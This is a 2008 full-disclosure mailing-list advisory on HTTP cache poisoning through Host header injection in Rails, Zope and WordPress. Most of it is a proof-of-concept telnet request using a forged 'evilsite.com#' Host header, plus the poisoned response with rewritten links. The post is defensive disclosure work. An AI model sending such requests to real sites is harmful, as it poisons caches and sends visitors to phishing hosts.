full-disclosure - HTTP cache poisoning via Host header injection

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Date: Thu, 12 Jun 2008 10:40:13 -0700
From: Carlos <carlos@...no.org>
To: full-disclosure@...ts.grok.org.uk
Subject: HTTP cache poisoning via Host header injection

I've confirmed this in default installations of a few web frameworks
including Rails, Zope and WordPress.

The basic vulnerability comes when:

1) Your web server does not validate the Host header
2) Your code or your framework uses the Host header value to build links
3) You employ page or fragment caching

There may be phishing-type exploits possible even if a site does not
do 3), if there are caching proxies at the ISP level.

$ telnet www.example.com 80
Trying 1.2.3.4...
Connected to www.example.com.
Escape character is '^]'.
GET /foo/bar.html HTTP/1.1
User-Agent: Mozilla
Host: evilsite.com#

HTTP/1.1 200 OK
Date: Wed, 10 Jun 2008 00:27:45 GMT
Server: Apache
Cache-Control: max-age=60
Expires: Wed, 17 Jun 2008 00:27:45 GMT
Content-Length: 2959
Content-Type: text/html; charset=iso-8859-1

<html>
  <head>
    <title>Foo : Bar</title>
  </head>
  <body>
    <a href="http://evilsite.com#/">Home</a>
    <a href="http://evilsite.com#/about">About</a>
    <a href="http://evilsite.com#/login">Login</a>

[...snip...]

<hr>
<address>Apache Server at evilsite.com# Port 80</address>
</body></html>

Some more details here:
http://carlos.bueno.org/2008/06/host-header-injection.html

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